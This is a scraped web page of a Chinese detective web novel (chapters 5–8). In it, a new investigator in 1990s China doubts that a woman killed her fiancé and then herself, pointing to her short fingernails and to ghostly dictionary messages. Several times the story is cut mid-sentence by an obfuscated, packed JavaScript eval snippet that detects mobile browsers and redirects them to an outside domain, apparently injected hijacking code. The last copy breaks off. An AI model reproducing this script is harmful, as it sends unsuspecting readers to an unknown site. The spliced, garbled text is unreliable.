杜春生忿忿不平地说:“矛盾?警官,我告诉你,我们家没有半点对不起这个沈雪遥,我们全家都对得起她!自从见家长以后,我们事事都顺着她,毕竟这是我儿子真心喜欢的人,我只要我儿子能幸福就好。” “这个沈雪遥,她订婚时要金项链,金戒指,好,我二话不说给她买了,她说她爸爸妈妈没办法过来,我也没说什么,她说婚前不能和我们同住,当然,我们家凌风也是个守规矩的孩子,我绝对不会让他们婚前乱来,所以我就安排她去我们家的老房子里住,免得她额外花钱租房,这段时间简直是她要什么我给什么,我都这样了,她还有什么不满意的?以至于要杀了我儿子?!” 马识途清了清喉咙:“先不要激动,根据现场目击证人的证词,是你们的儿子先拿起刀子试图杀人,沈雪遥才夺刀反击的,根据两人现场的对话来看,是杜凌风一直在生沈雪遥的气,你们知道他为什么生气吗?” 杜春生满脸不屑:“我儿子会去主动杀了她?一定是那个证人放屁!让我知道证人是谁,我非撕了他的嘴不可!两位警官,你们是不知道我儿子有多爱那个沈雪遥,大学期间他给我们往家里写信,信里写的全都是那个女人,他对沈雪遥,简直是捧在手里怕晒了,含在口里怕化了,凡是沈雪遥说的话,他百依百顺,没有一句不从的!” “而且,大学期间我儿子还为她花了不少钱!”杜春生握紧拳头,“我做粮油生意,家里还算富裕,对凌风那孩子也大方,尤其是知道他恋爱之后,我每个月给他寄双倍的生活费,其中大多数他都花在了那女人身上,警官,你说说,他这么爱她,怎么可能会杀了她呢?” 听到这里,杜妈妈忽然愣住了,像是想起了什么似的,她偷偷拉住杜春生的衣角,眼神有些犹豫,马识途捕捉到这个细节,立刻说道: “有什么线索一定要说出来,多一分线索都有利于我们破案。” 杜妈妈小声说:“孩子他爸,我想起来了,确实有这么回事,就在这案子发生前几天的时候,凌风有一天晚上高高兴兴地出去了,说是要给雪遥一个惊喜,结果他一直到后半夜才回来,我担心他,就一直在沙发上等他,等他回来,我还没开口问,他就先哭了。” “他说他看透了雪遥的真面目,这个雪遥就是个骗子,是个变态,他想取消婚礼,不要和雪遥结婚了,我问他为什么,但他什么也不说,只是一味地埋着头哭,哭了一整夜呢!” 杜春生勃然大怒:“有这样的事,为什么不告诉我?” 杜妈妈哀怨地说:“哎呦,我当时只以为是小情侣吵架呢,这两口子过日子哪有不吵架的?你当时在外地进货,忙得脚不沾地,吃饭的时间都没有,我想着就不用拿这种小事去烦你了。” 5. 情侣吵架杀人案(5) 一听这话,杜春生更是急红了眼,用拳头砰砰砰地敲着桌子:“这种事你居然不告诉我,要是你早点告诉我,说不定儿子根本不会死!” “这里是审讯室,注意纪律!”马识途出言提醒,随后又问道,“在这之后呢?杜凌风都去过哪些地方,见过什么人?” 杜妈妈摇了摇头:“自从那天晚上之后,凌风就一直闭门不出,只有吃饭的时候才出来,我知道他是因为雪遥的事情伤心,就没有去打扰他,想让他一个人静静,直到昨天晚上,凌风终于出来了,他说他要去找雪遥谈谈。” “我就说好啊,年轻人嘛,说不定是有什么误会,说开就好了,于是他穿上外套就匆匆出了门,连晚饭都没吃,谁知……谁知他这一去就再也没有回来,第二天早上我一看,卧室里没有他的人影,打他电话也打不通,我这才开始害怕,拜托亲戚朋友帮我寻找,结果……” “明白了,”马识途点了点头,“案发前杜凌风没有与任何人来往,也没有和人发生任何矛盾,这起案子的起因就是情感纠纷。” 听马识途这么说,杜凌风的父母悲痛欲绝,他们的儿子被害了,而且杀人凶手已经畏罪自杀,他们连个怨恨的对象都没有,简直是有气没处撒,不死心的杜春生还想弄个明白: “为什么?我儿子到底为什么在订婚之后和沈雪遥突然翻脸,这当中到底发生了什么?警官,我想知道真相,我儿子平时一向家教很好,绝对不会动手打人的,更不可能会打女人!” 马识途还没有说话,坐在角落里一直没出声的妹妹却哭了起来,她叫杜美真,杜美真哭着说: “这个女人就是个骗子,她就是看中了我哥哥的钱!原本她只是一个家境贫寒的农村学生,连吃饭都不敢去食堂吃,只能吃馒头配咸菜,遇上我哥哥以后,我哥哥隔三差五就带她去下馆子,还给她买新衣服,把所有的生活费都给她花了,我总是劝哥哥不要被她骗了,可哥哥被爱情蒙蔽了双眼,就是不听我的!” 杜美真越说越来劲,掰着手指头数起了沈雪瑶的几大罪状:“这个女人满眼都是钱,他们刚在一起的时候,这个女人就一直打听我哥哥的家境,后来还让我哥哥给她付房租,她放着宿舍不住,非要跑出去租房子,我哥哥全都满足了她,把她宠得跟个公主似的,结果这个女人要的越来越多——” 说到这里,她转头看向一旁的父母:“爸妈,你们还记得去年寒暑假哥哥都没有回家,他骗你们说是在忙找工作的事,其实他是在饭店里当服务员,给别人端盘子!他做这些都是为了赚钱给那个女人花,那个女人不断和他要钱,越要越多,他根本就不敢告诉你们!” 杜春风和妻子满眼震惊,完全不敢相信自己的儿子会去饭店当服务员,杜美真继续信誓旦旦地说: “还有更过分的呢!沈雪遥这个女人要求我哥哥在婚后把所有的钱都交给她来管,她就是想吞掉我们杜家的钱!我哥哥连这也答应了,不过幸好我哥哥在婚前回心转意,看清了她的真面目,认清她就是个骗子!沈雪遥好不容易才钓到我哥哥这个金龟婿,现在我哥哥要悔婚,她一定是气急败坏了,才会出手杀人的!” 杜爸杜妈完全认同了这个说法,也跟着咒骂起沈雪遥来,马识途不断地跟他们强调纪律,桑落的重点却跑到了另外一件事上: “租房?沈雪遥在大学期间外出租房,难道说他们两人在校期间已经同居了?” 大学生情侣外出租房,不免让人联想到同居,既然两人已经同居过,沈雪遥又为什么一定要在婚前和杜凌风分开居住呢? “不,”杜美真想也没想就说,“他们可没有‘那个’,两个人约定好了,一定要婚后才能‘那个’,在校期间租的房子只有沈雪遥一个人住,我哥哥还是住宿舍,不仅如此,她还不允许我哥哥去她租的房子,一步都不许踏入,你们说气不气人?” 桑落不禁反问:“你怎么会知道这些?” 如果说前面那些是兄妹俩的悄悄话也就算了,同房这种事杜美真怎么可能会知道呢?就算两人关系再好,哥哥也不至于把自己的房事告诉妹妹吧? 杜美真红了脸,支支吾吾地说:“那个……反正……反正我就是知道!你们别管我怎么知道的,我就是知道!” 马识途严肃地提醒她:“小姑娘,说话是要讲证据的,你有什么证据能证明你刚才所讲的一切吗?如果你捏造谎话,扰乱案情,那就是犯了造谣罪。” 哪想到杜美真毫不畏惧:“我有!刚才我所说的这一切,都是在他们的来往信件中看到的,不错,我偷看了他们的信件,是我哥毕业回来之后,我在他房间里翻到的,他们两人喜欢玩浪漫,明明就在一个学校里,还要给对方写信,那些信都是他们亲笔写的,现在就在我哥床底下那个鞋盒里,不信你们可以去查!” 众人的目光都有些诧异,杜美真也脸色发红,不过都这个时候了,谁也顾不上去谴责她窥探他人隐私的这种行为,马识途简短地问了几个问题,结束了笔录,然后带着袁小虎去杜家取回了这些来往信件。 三队的办公室里,几人翻看着信件,确实如杜美真所说,沈雪遥多次向杜凌风索要钱财,两人还提出了婚前不发生关系的约定,这些信件也和杜凌风以往的字迹相符合,种种迹象都表明沈雪瑶是个“拜金”的“捞女”。 袁小虎飞快地看完,然后快速总结道:“破案了,就是一起情感纠纷杀人案,女方是个冲着钱来的骗子,男方一开始还百依百顺,后来突然在某一天看清了女方的真面目,提出要悔婚,两人产生矛盾,女方杀了男方,然后又畏罪自杀。” 谢灵儿也轻声感叹:“女方图财,男方图色,这样的案子太常见了。” 马识途提醒两人:“查案可不能这么武断,连尸检结果都没看过,怎么能下结论?” 说着,他率先拿起两人的尸检报告,认真翻阅起来,桑落一直在旁边观察着他的表情,只见马识途缓缓翻完了两份报告,这期间一直面色如常,看来报告里没有什么特别的内容。 马识途放下报告之后,桑落立刻拿了起来,酌字酌句地细看,尸检结果显示沈雪遥颈部有勒痕,死因是窒息死亡,死亡时间大约在昨晚八点到九点间,尸体表面无伤痕,未发现其他异常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925822|160495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 杜凌风的死因是心脏有穿透伤,失血过多而亡,这是他身上唯一一处刀伤,还有就是他的脸上有八道长短不一的抓伤,每一道伤口都很深,他的死亡时间同样是昨晚的八点到九点。 放下尸检报告之后,桑落总觉得心里空落落的,按照现有的证据来看,这起案子似乎就只是一起简单的情感纠纷杀人案,那她昨天午夜十二点收到的提示又是怎么回事? “根据目击者的证词,男方曾经单方面殴打过女方,但是尸检结果却显示女方身上没有外伤,你们不觉得奇怪吗?”桑落在思考过后提出这个问题。 袁小虎立刻说:“这个简单,你想想,杜凌风是把沈雪遥摁在地上踹,又没有踹断骨头,顶多形成一些淤伤,而淤伤的形成是需要时间的,沈雪遥杀人后没多久就自杀了,淤伤根本来不及形成,所以她的尸体上没有外伤。” “有道理。” 桑落点点头,也无话可说了。 似乎是看出了桑落的情绪,谢灵儿从背后凑过来,柔声安慰道:“是不是觉得这起案子太简单了?没关系,慢慢的你就会习惯了,我们是新人队,上级分配给我们的都是这种简单直白的案子,如果不是案情简单,还到不了我们这里呢!” 袁小虎笑道:“你才刚入职,有什么可着急的,想要破大案,以后有的是机会!如果你表现良好,被分配到一队的话……” “咳咳咳!”马识途用咳嗽打断了几人的对话,他再次提醒道,“调查还没结束,你们就闲聊上了?下午继续调查,争取完全还原案情真相。” “师父,下午还查什么?”袁小虎有些诧异。 马识途指挥道:“小虎,下午你和灵儿去联系一下这两人在大学里的同学,看看能不能得到什么有用的线索,虽然已经知道这是一起情侣吵架杀人案,最好还是弄清楚两个人为什么吵架,给家属一个交代。” 接着他看向桑落:“桑落,下午你和我一起去核实沈雪遥的户籍信息,联系她的家人,让家人来认尸。” 马识途吩咐完之后,也到了中午的下班时间,大家都三三两两地结伴去食堂打饭,袁小虎像火箭一样朝着食堂冲了过去,马识途看着他的背影露出一个无奈的笑容,自己也踱着步子出去了。 桑落还没买饭盒,谢灵儿温柔一笑,像变魔术一样从储物柜里拿出一个不锈钢饭盒: “没带这个吧?我就知道你没有,所以从家给你带了一个,你放心,全新的。” 看到这种老式不锈钢饭盒,桑落一时间有点恍惚,还没等她说谢谢,谢灵儿就主动挽住了她的胳膊,拉着她向二楼的食堂走去。 食堂的菜是土豆烧肉和醋溜白菜,或许因为她是个新面孔,打饭的大师傅还给桑落多打了一勺烧肉,菜色不算丰富,不过毕竟是单位免费提供的,桑落已经很满足了。 她们来得晚,食堂里的座位都快要被坐满了,谢灵儿抱着饭盒打算等人离开,桑落朝四周看了一圈,发现角落里坐着一个女人,那女人脖颈细长,气质很优雅,正在小口小口地吃饭,她身边的座位明明空着,但就是没人去坐。 6. 情侣吵架杀人案(6) 桑落好奇地问:“她怎么了,被孤立了吗?” 谢灵儿顺着她手指的方向看去,眼神有些发怵:“她呀,她叫白冰心,是咱们这的法医,工作能力很强,不过就是太工作狂了,平时无时无刻不在说尸体的事情,张口闭口就是碎尸、呕吐物、粪便,搞得单位人人都躲着她走,尤其是在食堂里,大家都在吃饭,谁想听见这些呀!” 说着,谢灵儿压低了声音,告诉桑落一个八卦:“她这么有气质,县城里喜欢她的男人可多了,但是谁也受不了她这份工作,有小道消息说,她家里已经给她安排了十八次相亲,男方没有一次不被吓跑的!” 听完这些,桑落反而对角落里的白冰心有些敬佩,要不是为了顾及谢灵儿的感受,她还真想坐在白冰心身边,和这个工作狂女法医好好认识一下。 说话间,一桌人站起来走了,谢灵儿赶忙拉着桑落坐下吃饭,午休过后,桑落准时回到了单位,跟随师父开始下午的工作。 这个年代还没有建立电子户籍信息系统,无法从电脑中查询人们的户籍信息,只能翻阅纸质资料,马识途带着桑落进入档案室,找出几本厚厚的册子,两人一起翻找起来。 杜春生夫妇说沈雪遥是白云县高粱村人,桑落也确实在高粱村的人口登记簿里找到了这个名字,登记簿上写着她是家中独女,父亲名为沈立业,母亲名为吴梦花,这一家人是从漠城迁居到高粱村的。 登记簿上没有写他们一家的电话,这个年代农民普遍还没有手机,只有少数人家里有座机,为了联系到沈雪遥的父母,马识途拨了村长家的电话,电话很快就被接通了,马识途简要地说明来意,村长马上跑出去找沈雪遥的父母。 短暂的等待过后,沈雪遥的母亲吴梦花接起了电话,她操着一口方言,语气非常不耐烦: “有什么话赶紧说,我还要去地里干活呢!” 马识途加重了语气:“我是白云县公安局的刑警。” 吴梦花毫不在意:“刑警又怎么样,我又没犯罪,你还能抓我不成?别说刑警,就是天王老子来了,你也不能耽误我种地!” 尽管吴梦花语气粗鲁,马识途还是耐着性子说:“有一件事请你做好准备,你的女儿涉及一起命案,请你到公安局来配合调查。” “呸!”吴梦花朝着电话啐了一口,“我女儿好好在城里待着,哪会涉及什么命案?你是骗子吧?别以为我会上当!” 马识途又重复了几遍,吴梦花依旧是这副态度,看她这样,马识途只好说出了实情:“你的女儿沈雪遥疑似是本案的杀人凶手,昨晚她已经去世了,尸体现在在公安局,我们需要你来认尸。” 接着,吴梦花就说出了一句让所有人都没想到的话:“我怎么去城里?去城里需要驴车,你给我买一辆驴车,我就去城里,要不然的话,没门!” 马识途皱起眉头:“也就是说,你拒绝来公安局认尸?” 吴梦花态度强硬:“我拒绝!” “你难道都不关心你女儿的尸体吗?”桑落在一旁忍不住问,等到结案之后,沈雪遥的尸体还是要交给家属带回处理的。 吴梦花骂骂咧咧地说:“她这个不要脸的既然能干出这种事,那我还在意她的死活干什么?她干出这种事,让我被全村人笑话,我一眼都不想再看到她,至于她的尸体,你们爱怎么处理就怎么处理,拉去乱葬岗埋了也好,扔到大街上喂狗也好,我全都管不着!” “好吧,那就交由我们处理了。”马识途挂了电话,长出了一口气,和这种人打交道往往是最费劲的。 桑落有些难以理解:“沈雪遥是家里的独生女,又是村里唯一的大学生,她出事了,父母应该着急得不行才对,怎么会是这种态度,比村头死了条狗还随便……” “是怕牵连到自己吧,”马识途叹了口气,“这样的情况也不少见,有时候家属知道自己的亲人是凶手,就会拒绝露面,想和这件事撇清关系,我们只是有义务通知家属,却不能强迫家属到场,总之我们已经做了该做的。” 说完之后,马识途到走廊里去抽了根烟,桑落心里还是有些犯嘀咕。 到了快下班的时候,袁小虎和谢灵儿才从市里回来,他们下午去了市里的青华大学,核对了一下两名死者的照片,证实了沈雪遥就是青华大学刚毕业的中文系学生,和杜凌风是同一届的同学。 他们还通过校方找到了这两人同一届学生的联系方式,由于这些学生毕业后去了不同的城市工作,所以只能通过电话联系他们,谢灵儿给他们一一打去了电话。 “获得了一些信息,不知道有没有用。”谢灵儿边喝水边说,打了一下午电话,她嗓子都要冒烟了。 “据大部分同学反应,这两人在大学里关系很好,引得很多人羡慕,是一对神仙眷侣,沈雪遥天生皮肤雪白,个子高挑,声音非常甜美,有很多男生都在追求她,她是在一众追求者当中挑挑拣拣才选中杜凌风的。” “两人在一起之后,沈雪遥经常外出消费,由于她的生活优渥,人也白,还有些同学给她起了个外号叫‘白雪公主’。” “不过,也有些同学很讨厌沈雪遥,特别是她的室友们,当时大一刚开学,学校给她们分配了宿舍,沈雪遥只去宿舍看了一眼,就向学校打报告要求不住宿舍,她要自己出去租房,学校同意了,就这样,她一天宿舍也没有住过,和室友们的关系也闹得很僵,室友们都觉得她是个事多且矫情的女生。” 谢灵儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925823|160495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说到这里,袁小虎插了句嘴:“不应该啊,沈雪遥她是村里出来的,应该能吃苦才对,怎么会这么娇生惯养呢?” 谢灵儿没搭理她,继续说道:“还有些女同学曾经主动向沈雪遥发出过交友邀请,但是都被沈雪遥拒绝了,在恋爱之前她坚持独来独往,上课下课都是一个人,恋爱后就只和男朋友在一起,可以说这个沈雪遥是出了名的性格孤僻,不合群。” “尽管如此,却从来没人听说沈雪遥和杜凌风之间有什么矛盾,大家都以为他们毕业就会结婚的,听说发生了杀人案,同学们都很惊讶,谁也不知道他们吵架的原因。” 桑落这边也把自己的进展分享了一下:“我们联系到了沈雪遥的家属,但是她父母居然拒绝过来认尸,还说沈雪遥的尸体任由我们处置,真是怪事。” 袁小虎耸耸肩:“我觉得可以理解啊,如果我是她爸妈,我也不敢过来,受害者的家属正愁有气没地方撒呢,万一我一露面,他们把我打一顿怎么办?” 几人又讨论了一番,袁小虎总结道:“好了,这起案子调查到这里也就结束了,能查的都查过了,师父,咱们可以写结案报告了,事实就在这里摆着,女方杀了男方,然后女方畏罪自杀,没有任何其他可疑人选,唯一的疑点就是那晚两人为什么突然翻脸,不过这都是情侣之间的事,咱们外人哪会知道?现在两名当事人都去世了,那晚的事更是永远都不会有人知道了。” 马识途微微点了点头:“产生情感纠纷的原因没有搞清楚,恐怕对男方家属那边有点难以交代,不过警方的警力不能一直浪费在这种事上,距离案发也快二十四小时了,结案吧,明天的结案报告我来写。” 这样说定之后,到了下班时间,桑落心事重重地回到了家,师父和袁小虎说的都很合理,这起案子应该结案了,桑落开始怀疑自己昨天半夜看到的根本就是幻觉,或许字典根本就没有翻动,也没有出现什么冤字,一切都只是因为她太累了而已。 这样想着,桑落几乎快要说服自己了。 晚饭依旧是个难题,单位食堂只提供午饭,不提供早晚饭,桑落自己也不擅长做饭,还是下碗面条草草了事,不过这次的面条她放了荷包蛋,还是两颗,记得在以前的家庭里,妈妈做面条时都只给弟弟放荷包蛋,不给她放,明目张胆地偏心,现在她独立生活了,终于能想放几个就放几个,吃成巨人观都没人管。 吃完饭后,桑落早早就睡下了,但是因为有心事,她翻来覆去睡不着,硬生生把自己熬到了深夜。 这一次,诡异的景象又出现了,卧室的灯熄灭,窗帘纹丝不动,屋内无风,桌面上的字典却自动翻开了,还哗啦啦地翻页,最终,一个字亮了起来—— 【替】 7. 情侣吵架杀人案(7) 一秒钟过后,字典合上,卧室的灯自动打开,桑落抬头看向桌上的闹钟,现在正是午夜十二点,这一次她看得清清楚楚,不是巧合,不是幻觉,这一幕真真实实发生在她的眼前,真的有亡魂在通过字典向她伸冤! 桑落立刻振作起来,开始思考【冤】和【替】这两个字的含义,并且换着方式把它们组合在一起,最终她想出了两种可能—— 1、此案有冤,我是替死鬼 2、我是冤枉的,我是替罪羊 桑落思来想去,认为还是第二种可能更为合理,能传达出的消息也更多,如果亡魂想传达的真的是这个意思,那么这个亡魂就是沈雪遥,她不是真正的凶手! 桑落心跳如鼓,几乎彻夜未眠,她思索了一整夜,发誓要找出真正的凶手,替沈雪遥洗清冤屈! 第二天一早,桑落早早就到了三队办公室,没想到谢灵儿和袁小虎比她来得还早,隔着老远就能听见谢灵儿的尖叫: “啊——我的巧克力!你这个大馋猪,谁让你吃我的巧克力,给我吐出来!” 她双手拽住袁小虎的肩膀,不断摇晃,快把他脖子给摇断了,袁小虎连连求饶: “救命,姑奶奶,我也不是故意的,我今天早上出门太着急了,忘了吃早饭,我妈明明给我做好了肉包子,就放在桌子上,我还是忘带了,刚才你没来,我看见你桌子上有一大块巧克力,我就拿起来吃了,有什么大不了的,我再买一块还给你就是了!” 谢灵儿更生气了:“我这巧克力是林哥哥从国外给我寄回来的,是外国巧克力,你去哪里买来还我?你以为这是小卖铺里的普通货呀?!” 袁小虎哄着她说:“那我就用我妈包的肉包子还你,我妈包的肉包子可好吃了,纯肉的,一捏全是油,香味直扑鼻子,街坊邻居都馋我妈做的大包子呢!” 谢灵儿不屑一顾:“去,谁要你的包子,我只要林哥哥寄给我的巧克力,只要原来那块,你吐出来还给我,你要是不吐出来,我今天就打到你吐出来!” 说着,谢灵儿一拳打到了袁小虎肚子上,袁小虎笑嘻嘻的,显然一点都不痛,眼看攻击无效,谢灵儿就换了一种方式,她亮出指甲,死死掐住袁小虎的脸蛋,袁小虎瞬间吃痛,换了一副态度: “好好好,我错了,我向你道歉,你原谅我吧,我对天发誓,以后我再也不会乱动你的东西了!” 桑落在旁边静静看着这一幕,两人打闹完,袁小虎的两颊上还留着深深的印子,桑落忽然提问:“你刚才为什么要掐他的脸?” 谢灵儿以为桑落是在替袁小虎打抱不平,就解释道:“桑落,你别可怜他,他活该!我在国外留学的男朋友给我寄回来一块巧克力,包装特别漂亮,我根本就不舍得吃,一直摆在桌子上,都保存一个月了,今天早上被他给偷吃了,幸亏我撞见了,否则我还不知道是谁干的呢!” 桑落摇摇头:“我不是在问你这个,我是说,你在打他的时候,为什么选择用指甲去掐?” 袁小虎抢着回答:“你们女人打架,不就会这几招吗?不是用手掐人,就是扯头发,你看菜市场里的大妈都是这么打架的,不像我们男的,有什么事都用拳头解决。” 桑落想了想,在她见过的一些打架场景中,女性确实更容易用指甲掐人,男性更喜欢用拳头,这是因为性别而产生的区别吗? 谢灵儿却说:“不对,我选择用指甲掐他,是因为这样才能伤害到他,你刚才也看到了,我力气小,给他一拳,他根本就不在怕的,但是我指甲又长又尖,如果我用指甲掐他,他一定会痛。” 对啊!谢灵儿的话让桑落瞬间想通,男人力气大,所以他们在打架时喜欢用拳头打人,女人指甲较长,所以她们会用指甲掐人,这不是一个性别问题,而是一种战斗策略,动物在战斗时会本能地用自己更有攻击力的一面去面对敌人,无论什么性别。 桑落低头看了看自己的手,她自己是个秃指甲,如果要打架,她绝不会选择去掐别人,换言之,当时沈雪遥用指甲去掐杜凌风的脸,在他脸上留下几道深深的血痕,这意味着沈雪遥的指甲一定很长! 她立马拿起昨天的尸检报告,翻出里面沈雪遥的尸体照片,仔细看了看尸体的手部,这具尸体的指甲很短,和她一样是个秃指甲! 桑落兴奋地大喊一声,终于被她找到突破点了!仅凭这一点,就能说明躺在这里的死者不是当时和杜凌风打架的那个女人! 旁边两人不知道她在兴奋什么,还以为她中邪了,桑落正要开口解释,马识途踱着步子进来了,桑落立刻对马识途说:
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925824|160495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “师父,不能结案!” “为什么?”三人一致问道。 桑落坚定地说:“因为这起案子没有结束,沈雪遥不是真正的凶手。” 听她这么说,三人都很吃惊,袁小虎抢先说道:“证据链完整,全程都有目击证人,事实就摆在这里,还能有什么问题?” “有几处疑点,”桑落条理清晰地说,“一、女死者尸体的指甲很短,但是却能给男死者造成那么深的伤痕,这不合理;二、女死者生前被殴打过,但是尸体上却没有打斗伤;三、多位证人都说沈雪遥皮肤雪白,甚至还有‘白雪公主’的称号,但是我们看到的这具女尸肤色暗黄,只是普通人的肤色,综上,这起案子一定有问题,或许我们还没有找到最终的真相!” 听完桑落的发言后,马识途陷入了沉思,袁小虎说道:“桑落,你这就有点钻牛角尖了,把简单的案子搞复杂了,关于打斗伤这一点,我之前和你说过了,女方回到家之后立马就上吊了,淤伤根本来不及形成。” 谢灵儿也说:“关于肤色这一点也可以解释,人死后皮肤就是会出现变化,和生前的肤色不一样,而且技术科也出具了现场的物证报告,卧室内有化妆品,沈雪遥是个喜欢化妆的人,说不定她之前皮肤白是化了妆的缘故。” 桑落点点头:“这两点还算说得通,但是第一点呢?一个秃指甲的人,怎么能通过指甲给人造成这么大的伤害?” 她看向马识途,马识途紧皱眉头,拿起尸检报告重新翻看了一遍, 等他放下报告后,目光里出现了疑惑、惊讶和动摇,他轻声感叹道:“这么重要的细节,我居然没注意到?” 袁小虎马上说:“师父,这不怪你,这起案子破获得太顺利了,没人会注意到这么小的细节。” “不,查案不能放过任何一个微小的细节,”马识途反驳道,“只要还有一处不合理的地方,我们就要追查到底,绝不能敷衍了事,这不仅是对死者的负责,更是对刑警这份职业的负责!” 袁小虎噤声了,马识途放下尸检报告,抬起头正视着桑落,他的眼中第一次露出了认可的目光,他对桑落说: “桑落,你很不错,连这么小的细节都能注意到,我同意你的看法,这起案子不能结束,我们继续调查!” 8. 情侣吵架杀人案(8) 听到这个消息,谢灵儿一脸认真,袁小虎则有些犯嘀咕,他认为案子的真相就在这里摆着,桑落这是多此一举,不过他没有说出来,只是在心里默默吐槽。 马识途召集众人在办公桌前坐下,把涉及本案的文件堆在桌面上,给自己泡了一杯茶:“我们来重新捋一下思路,桑落,说说你的想法。” 桑落流利地说:“与杜凌风发生争执的那名女性指甲很长,这具上吊女尸的指甲却很短,我有理由怀疑她们不是同一人。” 袁小虎提出质疑:“长指甲难道不能剪短吗?万一是沈雪遥回家之后自己把指甲剪掉了呢?仅凭这一点说明不了什么!” 桑落反问:“她为什么要把自己的指甲剪短?” 袁小虎想也没想就说:“当然是为了逃避警方呗,她指甲里有残存的血肉,可以查验出DNA,她不想被警方查出来,所以特意剪掉了指甲。” 桑落又反问:“我们之前的结论是沈雪遥畏罪自杀,假如这个结论成立,沈雪遥还有几分钟就要上吊了,她干嘛要特意把指甲剪短呢?如果她是想掩盖罪行,那就更不合理,她身上的衣服沾满血迹,只清理指甲根本没用。” 袁小虎摊开手:“我怎么知道她是怎么想的?当事人的逻辑只有她自己清楚,总之她就是突发奇想,把指甲给剪掉了,行不行?” “如果是你说的这种情况,我们应该能在那栋房子里找到被剪下的指甲,”桑落拿起桌上的一份文件,“这是技术科出具的物证报告,记录了现场所有物证,女尸附近就有个垃圾桶,里面有袜子、菜叶、鸡蛋壳、针,还有饼干包装袋,就是没有被剪下的指甲,除了垃圾桶,这个房子其他地方也没有找到指甲,甚至房子里根本就没有剪指甲刀!” 袁小虎不说话了,谢灵儿顺着桑落的思路思考:“桑落,你是说,和杜凌风吵架打架,最终失手杀了她的是一个女人,而房间里上吊的却是另一个女人?” 桑落点头:“沈雪遥很可能不是真凶,凶手杀人后进入粮油家属楼,把自己的衣服给沈雪遥换上,用某种方式伪造了她上吊自杀的假象,然后离开了家属楼,顺利逃走了。” “可是当时楼下一直有个老大爷在看着,”谢灵儿提醒道,“凶手从楼里走出来,难道老大爷没发现吗?” 桑落强调道:“黄大爷的原话是,他确保这段时间内杀人的女人没有从楼里出来,但是有其他人出入过,如果真凶换了一身衣服,换了发型,戴上口罩,乔装打扮一番,是有可能逃过黄大爷眼睛的。” 袁小虎又翻了翻目击证人的笔录,然后摆在桑落眼前:“当时的几位证人都说杀人者的长相和上吊女尸相符,这点你又怎么解释,该不会要说是易容吧?” 桑落不得不承认:“这一点我目前还无法给出解释。” 袁小虎看向马识途:“师父,你也认同她的说法吗?” 马识途摇了摇头:“如果真是这样,有太多地方说不通了,但是这起案子一定要继续查,指甲的问题解释不清楚,一定有古怪。” 袁小虎叹了口气:“还能怎么查?该搜的地方我们都搜过了,该问的证人也都问了,还查什么?” 马识途正在思索,桑落问出了那个一直很想问的问题:“你们验过女尸指甲里的DNA吗?当时杀人女子在杜凌风脸上掐得那么深,如果杀人女子真是上吊女尸,那么她指甲里一定有杜凌风的DNA。” 从案发到现在,技术科一直没有送来关于DNA的报告,如果能够验出女尸指甲里没有杜凌风的DNA,那么就可以肯定桑落的猜想——杀人者和上吊女尸不是同一人! 听到桑落这么说,几人都有些惊讶,袁小虎面露难色: “你是新来的,还不清楚咱们这里的情况,咱们这小地方哪来的DNA检测仪?想做DNA检测只能去市局,那个还要一层层打报告,特别麻烦,如果真是悬案肯定值得做,但这案子明摆着都破了,还有必要去做吗……” 桑落这才反应过来,自己现在身处九十年代,DNA技术刚刚进入国内,只有少数单位拥有检测设备,不少人更是连这个词听都没听过,想去做一次DNA检测要通过层层报备,以前司空见惯的技术放在这里竟然算得上是奢侈。 桑落不由得咂舌,做DNA检测竟然如此不便,可想而知这个年代的刑警破案有多困难,她再次对这个职业产生了深深的敬佩。 马识途想了想,下定了决心:“去市局做吧,灵儿,你写申请。” 谢灵儿脸上也有些犯难:“可是廖队那边……” “他那边我去说。” 说罢,马识途推开椅子站了起来,转身进入了隔壁廖关天的办公室。 “哎呦,惨了惨了。”袁小虎露出一个同情的表情,果然,没过一会,隔壁就传来了响亮的吼声。 “这么一件案子,都已经水到渠成了,还到市里去折腾什么?” “别人半天能完成的案子,你要研究上三天三夜,别以为我不知道你想干什么,你就是想浑水摸鱼,在办公室喝茶水!” “你就是这样给新人做榜样的?把新人交给你来带,是局里最错误的决定,他们跟着你能学会什么?只能学会偷奸耍滑!” 桑落被震得耳朵发麻,她揉着耳朵,疑惑地问谢灵儿:“这个廖队是不是有病啊?就这么一件小事,至于骂得这么难听吗?” 谢灵儿摇摇头:“他不是冲着这件事,而是冲着师父这个人,他们两个很多年以前有过节,只要是师父提出来的建议,他都要批评一顿。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 